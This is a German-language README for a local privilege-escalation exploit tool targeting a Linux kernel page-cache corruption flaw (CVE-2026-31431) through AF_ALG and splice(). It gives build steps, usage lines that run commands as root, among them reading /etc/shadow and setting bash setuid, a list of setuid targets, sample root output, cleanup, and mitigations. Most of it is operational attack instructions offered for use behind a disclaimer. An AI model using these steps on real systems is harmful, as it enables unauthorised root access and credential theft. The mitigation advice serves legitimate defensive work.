
# Exploit für CVE-2026-31431, eine Schwachstelle zur Korruption des Page-Cache im Linux-Kernel, die eine interaktive Root-Shell und nicht-interaktive Befehlsausführung über AF_ALG- und splice()-Ketten ermöglicht.
Linux-Kernel-Page-Cache-Pollution-Exploit-Tool mit Unterstützung für nicht-interaktive Befehlsausführung.
CVE-2026-31431 ist eine logische Schwachstelle im Linux-Kernel, die in der Implementierung des authesn-AEAD-Algorithmus existiert. Über die AF_ALG- und splice()-Syscall-Kette kann ein Angreifer 4 Bytes Daten in den Page Cache einer beliebigen lesbaren Datei schreiben.
Betroffene Systeme:
Eigenschaften der Schwachstelle:
.
├── copyfail_universal.c # Haupt-POC-Quellcode (statisch kompiliert, keine libc-Abhängigkeit)
├── copyfail_universal # Kompiliertes Binärprogramm
├── run_cmd.sh # Wrapper-Skript für nicht-interaktive Ausführung
├── Makefile # Kompilierungsskript
└── README.md # Dieses Dokument
# Methode 1: Verwendung von gcc und ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# Methode 2: Verwendung des Makefiles
make
./copyfail_universal
# Methode 1: Verwendung des Wrapper-Skripts (empfohlen)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# Methode 2: Über eine Pipe
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# Methode 3: Verwendung einer Umgebungsvariable
CMD='whoami' ./copyfail_universal
# Das Standardziel ist /usr/bin/su
# Andere Ziele können durch Ändern der path-Variable im Quellcode angegeben werden
# Häufig verfügbare Ziele:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
Die Schwachstelle ändert nur den Page Cache, nicht die Dateien auf der Festplatte. Führen Sie den folgenden Befehl aus, um die Wiederherstellung durchzuführen:
sync; echo 3 > /proc/sys/vm/drop_caches
Das Skript run_cmd.sh verfügt bereits über eine integrierte automatische Wiederherstellungsfunktion.
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
Alle setuid-Programme auf dem System finden:
find / -perm -4000 -user root -type f 2>/dev/null
Kernel aktualisieren - Upgrade auf eine Kernel-Version, die den Patch a664bf3d603d enthält
Temporäre Abschwächung - Das Modul algif_aead deaktivieren:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Container-Umgebung - Seccomp verwenden, um die Erstellung von AF_ALG-Sockets zu blockieren
authesn verwendet den Zielpuffer als temporären Speicher und schreibt 4 Bytes über die Grenzen hinaussplice()Dieses Tool dient ausschließlich der Sicherheitsforschung und autorisierten Tests. Der Einsatz dieses Tools gegen nicht autorisierte Systeme ist rechtswidrig. Der Benutzer trägt die alleinige rechtliche Verantwortung.
| Programm | Pfad | Verfügbarkeit |
|---|
| su | /usr/bin/su | ✅ Standard |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |